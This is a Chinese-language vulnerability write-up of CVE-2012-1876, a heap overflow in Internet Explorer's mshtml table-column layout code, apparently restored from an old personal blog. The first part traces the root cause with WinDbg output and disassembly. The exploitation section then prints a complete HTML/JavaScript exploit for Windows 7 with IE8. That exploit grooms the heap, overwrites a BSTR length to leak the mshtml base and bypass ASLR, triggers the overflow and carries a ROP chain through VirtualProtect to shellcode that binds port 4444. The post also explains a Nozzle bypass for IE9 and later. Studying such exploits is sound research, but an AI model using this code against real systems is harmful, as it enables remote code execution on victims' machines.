CVE-2012-1876

从备份失败的老博客还原出来的

poc分析

开启 hpa 后打开 poc, windbg 附加进行进程,查看崩溃原因。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
0:013> .childdbg 1
Processes created by the current process will be debugged
0:013> g
ModLoad: 6c020000 6c0d2000 C:\Windows\System32\jscript.dll
(854.5fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=07ddf000 edi=07ddf018
eip=68980a2f esp=0462b9c8 ebp=0462b9d4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CTableColCalc::AdjustForCol+0x15:
68980a2f 890f mov dword ptr [edi],ecx ds:0023:07ddf018=????????
0:005> kb
ChildEBP RetAddr Args to Child
0462b9d4 687ef47a 00414114 0462bd20 00000001 mshtml!CTableColCalc::AdjustForCol+0x15
0462ba8c 6865a6b8 00000001 0462bd20 000003e8 mshtml!CTableLayout::CalculateMinMax+0x558
0462bca8 68650879 0462bd20 0462bcec 00000001 mshtml!CTableLayout::CalculateLayout+0x276
0462be54 6875566c 0462d4c8 0462c080 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720
0462bf8c 687518f9 07d9aea8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
0462c050 68751646 07d9aea8 00013628 00013628 mshtml!CFlowLayout::MeasureSite+0x312
0462c098 687519c1 07724f00 00000061 0462d4c8 mshtml!CFlowLayout::GetSiteWidth+0x156
0462c0d8 68751f70 05568fb0 07d9aea8 00000001 mshtml!CLSMeasurer::GetSiteWidth+0xce
0462c15c 6e17665d 07654ff8 0462c17c 0462c240 mshtml!CEmbeddedILSObj::Fmt+0x150
0462c1ec 6e176399 0763cefc 00000000 07640d20 msls31!ProcessOneRun+0x3e9
0462c248 6e176252 0763cf18 00013fe0 00000000 msls31!FetchAppendEscCore+0x18e
0462c29c 6e1761c3 00000000 00000000 00000014 msls31!LsDestroyLine+0x47f
0462c324 6e17293f 00000007 00002e87 00000000 msls31!LsDestroyLine+0x9ff
0462c360 6874f95e 00000001 00000007 00002e87 msls31!LsCreateLine+0xcb
0462c4b0 68760d1e 0462d4c8 00000007 05568fc0 mshtml!CLSMeasurer::LSDoCreateLine+0x127
0462c554 68761367 0462cdb8 00013628 00000000 mshtml!CLSMeasurer::LSMeasure+0x34
0462c59c 68761223 00000000 00013df8 00000083 mshtml!CLSMeasurer::Measure+0x1e6
0462c5c0 68762d7e 00013df8 00000083 07724f40 mshtml!CLSMeasurer::MeasureLine+0x1c
0462c670 6876b89e 0462cb90 077b8fd8 00000083 mshtml!CRecalcLinePtr::MeasureLine+0x46d
0462ce78 6876b1f1 0462d4c8 00000007 0000000e mshtml!CDisplay::RecalcLines+0x8bb
0462cfc8 6876b034 0462d4c8 00000007 0000000e mshtml!CDisplay::UpdateView+0x208
0462d07c 6876af8b 0462d4c8 0462d600 06f55f10 mshtml!CFlowLayout::CommitChanges+0x9c
0462d18c 6864a711 0462d4c8 0462d600 00000000 mshtml!CFlowLayout::CalcTextSize+0x30f
0462d414 6875adf6 07724f00 0462d600 00000000 mshtml!CFlowLayout::CalcSizeCoreCompat+0x1045
0462d430 68763651 0462d4c8 0462d600 00000000 mshtml!CFlowLayout::CalcSizeCore+0x49
0462d46c 6875ada4 0462d4c8 0462d600 00000000 mshtml!CBodyLayout::CalcSizeCore+0xd8
0462d4a4 6875566c 0462d4c8 0462d600 00000000 mshtml!CFlowLayout::CalcSizeVirtual+0x1af
0462d5dc 686f82bd 07724f00 00000001 00000000 mshtml!CLayout::CalcSize+0x2b8
0462d6cc 68765964 00100000 00000007 069eaeb4 mshtml!CFlowLayout::DoLayout+0x543
0462d708 68748bd8 069ea870 00100000 0462d768 mshtml!CView::ExecuteLayoutTasks+0x3b
0462d74c 686d3acd 00000000 0462d79c 0000003e mshtml!CView::EnsureView+0x355
0462d774 687293c2 069ea870 00000000 06888d58 mshtml!CView::EnsureViewCallback+0xd3
0462d7a8 6871e012 0462d844 00008002 00000000 mshtml!GlobalWndOnMethodCall+0xff
0462d7c8 75dfc4e7 00040276 00000012 00000000 mshtml!GlobalWndProc+0x10c
0462d7f4 75dfc5e7 68706853 00040276 00008002 USER32!InternalCallWinProc+0x23
0462d86c 75dfcc19 00000000 68706853 00040276 USER32!UserCallWinProcCheckWow+0x14b
0462d8cc 75dfcc70 68706853 00000000 0462f9ec USER32!DispatchMessageWorker+0x35e
0462d8dc 6cd94bec 0462d904 00000000 017aef58 USER32!DispatchMessageW+0xf
0462f9ec 6cda4f62 047adfe0 00000000 0168aff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54b
0462faa4 75775c2b 017aef58 00000000 0462fac0 IEFRAME!LCIETab_ThreadProc+0x2c1
0462fab4 76023c45 0168aff0 0462fb00 771d37f5 iertutil!CIsoScope::RegisterThread+0xab
0462fac0 771d37f5 0168aff0 71861b5a 00000000 kernel32!BaseThreadInitThunk+0xe
0462fb00 771d37c8 75775c1d 0168aff0 00000000 ntdll!__RtlUserThreadStart+0x70
0462fb18 00000000 75775c1d 0168aff0 00000000 ntdll!_RtlUserThreadStart+0x1b

然后看下 edi 指向的内存信息。
QQ截图20180714101436.png-26.2kB
由上面的调试信息可知发生了堆溢出。

漏洞成因

下面来看下造成崩溃的 edi 来自哪里,先从崩溃的函数分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:005> uf mshtml!CTableColCalc::AdjustForCol
mshtml!CTableColCalc::AdjustForCol:
68980a1a 8bff mov edi,edi
68980a1c 55 push ebp
68980a1d 8bec mov ebp,esp
68980a1f 8b08 mov ecx,dword ptr [eax]
68980a21 53 push ebx
68980a22 8b5d08 mov ebx,dword ptr [ebp+8]
68980a25 57 push edi
68980a26 8bc1 mov eax,ecx
68980a28 83e00f and eax,0Fh
68980a2b 8d7e18 lea edi,[esi+18h]
68980a2e 50 push eax
68980a2f 890f mov dword ptr [edi],ecx
68980a31 e8d3c3daff call mshtml!CUnitValue::IsScalerUnit (6872ce09)
68980a36 85c0 test eax,eax
...

如上,edi=esi+18h,但是这个函数并没有对 esi 的处理,猜测在上一层函数。即函数 mshtml!CTableLayout::CalculateMinMax。根据 ida 的代码交叉引用功能可以找打调用 CTableColCalc::AdjustForCol 地址。
QQ截图20180714103720.png-9.6kB

QQ截图20180714104017.png-87.1kB
回溯发现静态分析是没法得到具体信息的,在函数 mshtml!CTableLayout::CalculateMinMax 下断进行调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

0:013> .childdbg 1
Processes created by the current process will be debugged
0:013> bu mshtml!CTableLayout::CalculateMinMax
0:013> bl
0 e 69dba078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax
0:013> g
ModLoad: 6c6e0000 6c792000 C:\Windows\System32\jscript.dll
Breakpoint 0 hit
eax=ffffffff ebx=07c52ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0466c85c
eip=69dba078 esp=0466c600 ebp=0466c818 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax:
69dba078 8bff mov edi,edi
0:005> p
...
0:005>
eax=ffffffff ebx=07c52ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0466c85c
eip=69dba084 esp=0466c560 ebp=0466c5fc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0xc:
69dba084 8b5d08 mov ebx,dword ptr [ebp+8] ss:0023:0466c604=07c52ea8
0:005>
eax=ffffffff ebx=07c52ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0466c85c
eip=69dba087 esp=0466c560 ebp=0466c5fc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0xf:
69dba087 56 push esi
0:005> ln poi(ebx)
(69cb9960) mshtml!CTableLayout::`vftable' | (69cb9aa0) mshtml!CTableLayoutBlock::`vftable'
Exact matches:
mshtml!CTableLayout::`vftable' = <no type information>
...
0:005>
eax=00000000 ebx=07c52ea8 ecx=00412802 edx=ffffffff esi=0466c890 edi=0466c85c
eip=69dba094 esp=0466c55c ebp=0466c5fc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x1c:
69dba094 8b4354 mov eax,dword ptr [ebx+54h] ds:0023:07c52efc=00000001
...
0:005> dd ebx+0x54 L1
07c52efc 00000001

由调试信息可以猜到这个是在 table 元素建立过程中,ebx+54h 存储的值为1,并且在 pocspan= 1,两者之间有什么关系呢,下面我们在 poc 中增加一行,如下
QQ截图20180714110524.png-27.2kB

继续动态调试可以看到

1
2
3
4
5
6
7
8
0:005> 
eax=00000000 ebx=07af5ea8 ecx=00412802 edx=ffffffff esi=045ac7a0 edi=045ac76c
eip=6809a094 esp=045ac46c ebp=045ac50c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CTableLayout::CalculateMinMax+0x1c:
6809a094 8b4354 mov eax,dword ptr [ebx+54h] ds:0023:07af5efc=0000000a
0:005> dd ebx+0x54 L1
07af5efc 0000000a

如上我们可以猜测 CTableLayout 对象偏移 0x54 处存储的是 table 标签里 span 元素的总和。在看了 kk 前辈的分析后,发现偏移 0x84 处存储的是是一个数组 TableElementArray,数组成员为 <table> 标签的中的元素在内存中的对象。调试信息如下,至于为什么两个 col 元素但是实际内存中两个后面还有重复的我也不知道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:005> dd poi(ebx+84)
0703efd8 06be8fd0 0712afd0 0712afd0 0712afd0
0703efe8 0712afd0 0712afd0 0712afd0 0712afd0
0703eff8 0712afd0 0712afd0 ???????? ????????
0703f008 ???????? ???????? ???????? ????????
0703f018 ???????? ???????? ???????? ????????
0703f028 ???????? ???????? ???????? ????????
0703f038 ???????? ???????? ???????? ????????
0703f048 ???????? ???????? ???????? ????????
0:005> ln poi(06be8fd0)
(6801a1d0) mshtml!CTableCol::`vftable' | (67f96b18) mshtml!CTableSection::`vftable'
Exact matches:
mshtml!CTableCol::`vftable' = <no type information>
0:005> ln poi(0712afd0)
(6801a1d0) mshtml!CTableCol::`vftable' | (67f96b18) mshtml!CTableSection::`vftable'
Exact matches:
mshtml!CTableCol::`vftable' = <no type information>

CTableCol 的内存中偏移 0xC 字节处,保存着一个 CAttrArray 对象指针 theTableColAttrArray 。在 theTableColAttrArray 对象内存偏移 0xC 字节处,是一块 0x40
字节大小的缓冲区 theTableColAttrInfoBuffer,用于保存 <col>元素属性的信息,如下。
QQ截图20180714113957.png-10.4kB
实际上我们可以先跟踪哪个函数进行了堆的分配。
QQ截图20180714115734.png-17.9kB
如上,可知函数 mshtml!CImplAry::EnsureSizeWorker 完成了堆的分配,
后续调试发现CTableLayout偏移 0x90 处存在一个用来与 span 的值进行比较的数。
QQ截图20180714115446.png-22.9kB
之后在 mshtml!CTableLayout::CalculateMinMax 函数调用了 mshtml!CImplAry::EnsureSizeWorker。跟进mshtml!CImplAry::EnsureSizeWorker
发现其调用了 ULongLongToUInt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __userpurge ULongLongToUInt@<eax>(_DWORD *a1@<eax>, unsigned __int64 a2, unsigned int *a3)
{
int result; // eax

if ( a2 > 0xFFFFFFFF )
{
*a1 = -1;
result = -2147024362;
}
else
{
*a1 = a2;
result = 0;
}
return result;
}

可以看到当第一个参数大于0xFFFFFFFF结果为负值,小于为0,现在传入的为 0x70,故函数执行完成后 eax=0。下面是 mshtml!CImplAry::EnsureSizeWorker 这个函数的注释。
2018-07-14_122322.png-83.5kB
跟进函数 _HeapRealloc 发现堆分配的地址保存在 CTableLayout 偏移0x9c处。
QQ截图20180714123321.png-50.6kB
执行完 mshtml!CTableLayout::CalculateMinMax 函数后发现并没有崩溃,所以还存在另一次调用,继续运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:005> 
eax=ffffffff ebx=0824cea8 ecx=00402c02 edx=ffffffff esi=00000000 edi=0468bd54
eip=6809a084 esp=0468ba58 ebp=0468baf4 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
mshtml!CTableLayout::CalculateMinMax+0xc:
6809a084 8b5d08 mov ebx,dword ptr [ebp+8] ss:0023:0468bafc=0824cea8
0:005>
eax=ffffffff ebx=0824cea8 ecx=00402c02 edx=ffffffff esi=00000000 edi=0468bd54
eip=6809a087 esp=0468ba58 ebp=0468baf4 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
mshtml!CTableLayout::CalculateMinMax+0xf:
6809a087 56 push esi
0:005> dd ebx+0x54 L1
0824cefc 00000001
0:005> dd ebx+0x94 L1
0824cf3c 00000004

可以看到和上一次相比 ebx+0x94 处的值变成了4,什么时候变的???好像不知道。在 over_trigger 函数里我们已经把 span 的值改成了 1000,但现在还没有变动,说明下面会改动这个值,设置内存断点,观察什么时候会改动。
QQ截图20180714131942.png-6.8kB
直接崩溃了,说明并没有对 CTableLayoutspan 的值做处理。还有在 mshtml!CImplAry::EnsureSizeWorker 下断点并没有停下,说明ebx+0x94的值右移2后和1相等,跳转走了,并没有执行mshtml!CImplAry::EnsureSizeWorker 去分配堆。好像下面没法分析啦,因为崩溃点在 CTableColCalc::AdjustForCol 函数里,所以我们在 mshtml!CTableLayout::CalculateMinMax 调用 CTableColCalc::AdjustForCol 函数前加一个断点,观察参数。实际上并没有直接断在 call 处,为了更清楚的观察,断在了其之前的指令。主要处理指令如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
mshtml!CTableLayout::CalculateMinMax+0x519:
6822f43b 8b839c000000 mov eax,dword ptr [ebx+9Ch] ;存放的是开辟的堆的地址
6822f441 03c1 add eax,ecx ;堆的地址加上之前已经处理的偏移
6822f443 837de400 cmp dword ptr [ebp-1Ch],0 ;相等
6822f447 8945d8 mov dword ptr [ebp-28h],eax
6822f44a 741a je mshtml!CTableLayout::CalculateMinMax+0x544 (6822f466) ;跳转

mshtml!CTableLayout::CalculateMinMax+0x52a:
6822f44c 8b4510 mov eax,dword ptr [ebp+10h]
6822f44f 83f801 cmp eax,1
6822f452 7e12 jle mshtml!CTableLayout::CalculateMinMax+0x544 (6822f466)

mshtml!CTableLayout::CalculateMinMax+0x532:
6822f454 48 dec eax
6822f455 3945ec cmp dword ptr [ebp-14h],eax
6822f458 750c jne mshtml!CTableLayout::CalculateMinMax+0x544 (6822f466)

mshtml!CTableLayout::CalculateMinMax+0x538:
6822f45a 0faf45f4 imul eax,dword ptr [ebp-0Ch]
6822f45e 8b4dd0 mov ecx,dword ptr [ebp-30h]
6822f461 2bc8 sub ecx,eax
6822f463 894df4 mov dword ptr [ebp-0Ch],ecx

mshtml!CTableLayout::CalculateMinMax+0x544:
6822f466 ff75c0 push dword ptr [ebp-40h]
6822f469 8b45cc mov eax,dword ptr [ebp-34h]
6822f46c ff750c push dword ptr [ebp+0Ch]
6822f46f 8b75d8 mov esi,dword ptr [ebp-28h] ;堆的地址加上之前已经处理过的偏移
6822f472 ff75f4 push dword ptr [ebp-0Ch]
6822f475 e8a0151900 call mshtml!CTableColCalc::AdjustForCol (683c0a1a)
6822f47a ff45ec inc dword ptr [ebp-14h] ;最开始为0 每执行一次AdjustForCol函数会加1
6822f47d 8b45ec mov eax,dword ptr [ebp-14h]
6822f480 8345dc1c add dword ptr [ebp-24h],1Ch ; ebp-24h 存放的是传入AdjustForCol函数的offset最开始为0 每执行一次加1c
6822f484 3b4510 cmp eax,dword ptr [ebp+10h] ; ebp+10存放的值为3e8即1000,所以可以发现会循环调用1000次AdjustForCol函数
6822f487 7caf jl mshtml!CTableLayout::CalculateMinMax+0x516 (6822f438)

所以现在还剩下 ebp-c 指向的值是什么还不确定,继续设置内存断点,观察 ebp-c 值的变化(好像又失败了???我操作有问题???)。
最后发现 ida显示那个值的类型是 struct CWidthUnitValue * ,所以在查看调用的函数后发现可能是调用 CWidthUnitValue::GetPixelWidth 函数的返回值,加断点观察下。
QQ截图20180714145803.png-90.7kB
跟进函数 CWidthUnitValue::GetPixelWidth。算了,不跟了,跟不动,结果是因为 0x0414114=42765*100。所以来继续分析 AdjustForCol 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void __userpurge CTableColCalc::AdjustForCol(CTableColCalc *this@<ecx>, const struct CWidthUnitValue **a2@<eax>, const struct CWidthUnitValue **a3@<esi>, const struct CWidthUnitValue *a4, int a5, struct CCalcInfo *a6, int a7)
{
unsigned int v7; // ST04_4

v7 = (unsigned int)*a2 & 0xF; // (unsigned int)*a2=04141149
a3[6] = *a2;
if ( CUnitValue::IsScalerUnit(v7) )
{
CUnitValue::SetValue((signed int)a4, (int *)a3 + 6, 8);// a3[6] = a3[6]*16|8
a3[1] = a4; // a3[1]=00414114
*a3 = a4; // *a3 = 00414114
}
else
{
if ( a6 != (struct CCalcInfo *)1 )
CUnitValue::SetPercent((CUnitValue *)0x64, (int)(a3 + 6));
*a3 = (const struct CWidthUnitValue *)1;
a3[1] = *(const struct CWidthUnitValue **)(a5 + 16);
}
a3[2] = a4; // a3[2]=00414114
}

可能不够形象,直接贴图吧。
QQ截图20180714153902.png-6.9kB
实际上完成的功能可以用下面的伪代码表示(参考KK前辈的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int i= 0;
while(i < SpanSum)
{
CTableCol* theTableColObj = theTableLayoutObj->TableElementArray[i*4]
int col_span = theTableColObj->GetAAspan(); //获得 col 元素的 span 属性

//判断 col 元素是否设置了 width 属性
if(theTableColObj->CUnitValue::IsNullOrEnum())
{
for(int j=0; j<col_span; j++)
{
int cur_offset = (i + j) * 0x1C
AdjustForCol@CTableColCalc(&ColTableLayoutBuffer[cur_offset],width)
}
}
i += col_span
}

漏洞很明显了,循环复制,但是后面明显超过了堆的开辟大小,造成溢出

漏洞利用

因为存在 ASLRDEP 保护,所以必须先泄露地址信息绕过 ASLR,之后通过构造 ROP 链绕过 DEP

win7+ie8

泄漏地址信息的脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<html>
<body>
<div id="evil"></div>
<table style="table-layout:fixed" ><col id="132" width="41" span="9" > </col></table>
<script language='javascript'>

function strtoint(str) {
return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}

var free = "EEEE";
while ( free.length < 500 ) free += free;

var string1 = "AAAA";
while ( string1.length < 500 ) string1 += string1;

var string2 = "BBBB";
while ( string2.length < 500 ) string2 += string2;

var fr = new Array();
var al = new Array();
var bl = new Array();

var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";

for (var i=0; i < 500; i+=2) {
fr[i] = free.substring(0, (0x100-6)/2);
al[i] = string1.substring(0, (0x100-6)/2);
bl[i] = string2.substring(0, (0x100-6)/2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}

for (var i=200; i<500; i+=2 ) {
fr[i] = null;
CollectGarbage();
}


function leak(){
var leak_col = document.getElementById("132");
leak_col.width = "41";
leak_col.span = "19";
}

function get_leak() {
var str_addr = strtoint(bl[498].substring((0x100-6)/2+11,(0x100-6)/2+13));
str_addr = str_addr - 1410704;
alert("mshtml addr :"+str_addr.toString(16));
}

function trigger_overflow(){
var evil_col = document.getElementById("132");
evil_col.width = "1178993";
evil_col.span = "44";
}

setTimeout(function(){leak()}, 300);
setTimeout(function(){get_leak()},700);
//setTimeout(function(){heapspray()}, 900);
setTimeout(function(){trigger_overflow()}, 1200);

</script>
</body>
</html>

<col id="132" width="41" span="9" > 会建立 9个0x1c的堆块。之后定义三个长度为 500 的字符串。之后分配三个字符串数组

1
2
3
4
5
6
7
for (var i=0; i < 500; i+=2) {
fr[i] = free.substring(0, (0x100-6)/2);
al[i] = string1.substring(0, (0x100-6)/2);
bl[i] = string2.substring(0, (0x100-6)/2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}

之后利用 BSTR 结构特性完成地址信息泄漏。

1
2
3
4
5
6
7
8
9
10
11
12
function get_leak() {
var str_addr = strtoint(bl[498].substring((0x100-6)/2+11,(0x100-6)/2+13));
alert("CButtonLayout addr :"+str_addr.toString(16));
str_addr = str_addr - 1410704;
alert("mshtml addr :"+str_addr.toString(16));
}

function trigger_overflow(){
var evil_col = document.getElementById("132");
evil_col.width = "1178993";
evil_col.span = "44";
}

如下图,成功覆盖 BSTR 的长度,之后通过 CButtonLayout 的虚表地址算出 mshtml 的加载基址。
QQ截图20180714180455.png-12kB
这个和书上不一样的是用的开头四字节的虚表地址来计算偏移,不过不重要,结果都一样。
QQ截图20180714184432.png-17.3kB
之后就可以利用泄露出来的 mshtml 地址构造 rop , 绕过 DEP
2018-07-14_184651.png-164.4kB
后面利用就是先栈劫持到堆上,之后 VirtualProtect 函数修改内存的可执行性,再控制 eip 到堆上已经布置好的 shellcoderop 的构造如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var shellcode = unescape("%u"+rop1+"%u"+rop2); // RET
shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP
shellcode+= unescape("%u"+rop5+"%u"+rop6); // XCHG EAX,ESP
shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP
shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP
shellcode+= unescape("%u"+rop7+"%u"+rop8); // POP EBP
shellcode+= unescape("%u1024%u0000"); // Size 0x00001024
shellcode+= unescape("%u"+rop9+"%u"+rop10); // POP EDX
shellcode+= unescape("%u0040%u0000"); // 0x00000040
shellcode+= unescape("%u"+rop11+"%u"+rop12); // POP ECX
shellcode+= unescape("%u"+writable1+"%u"+writable2); // Writable Location
shellcode+= unescape("%u"+rop13+"%u"+rop14); // POP EDI
shellcode+= unescape("%u"+rop1+"%u"+rop2); // RET
shellcode+= unescape("%u"+rop15+"%u"+rop16); // POP ESI
shellcode+= unescape("%u"+jmpeax1+"%u"+jmpeax2); // JMP EAX
shellcode+= unescape("%u"+rop17+"%u"+rop18); // POP EAX
shellcode+= unescape("%u"+vp1+"%u"+vp2); // VirtualProtect()
shellcode+= unescape("%u"+rop19+"%u"+rop20); // MOV EAX,DWORD PTR DS:[EAX]
shellcode+= unescape("%u"+rop21+"%u"+rop22); // PUSHAD
shellcode+= unescape("%u"+rop23+"%u"+rop24); // PUSH ESP
shellcode+= unescape("%u9090%u9090"); // crap
shellcode+= unescape("%u9090%u9090"); // crap

给的资料里面有一个 win7-ie-exp.html,执行后会在 4444 端口监听,如下,成功执行。
QQ截图20180714190405.png-37.5kB

win7+ie9/10/11

上面说了win7IE8 浏览器的利用,在 IE9 及之后的浏览器中存在 Nozzle 保护机制,并且 ie10 之后 BSTR 分配在 Custom Heap 上,所以上面的利用方法并不适合。

Nozzle保护机制(IE):检测是否存在重复可转换成汇编代码的字段,若存在则阻止其内存申请。

QQ截图20180715134938.png-137.6kB

Nozzle 并不检测 VBScript的执行,所以可以利用其绕过,VBArraytoArray() 可以堆上分配正常的 BSTR 对象。
参考:Study-of-Exploit-Migitation-in-Modern-Browsers-KEENTeam-XCON2013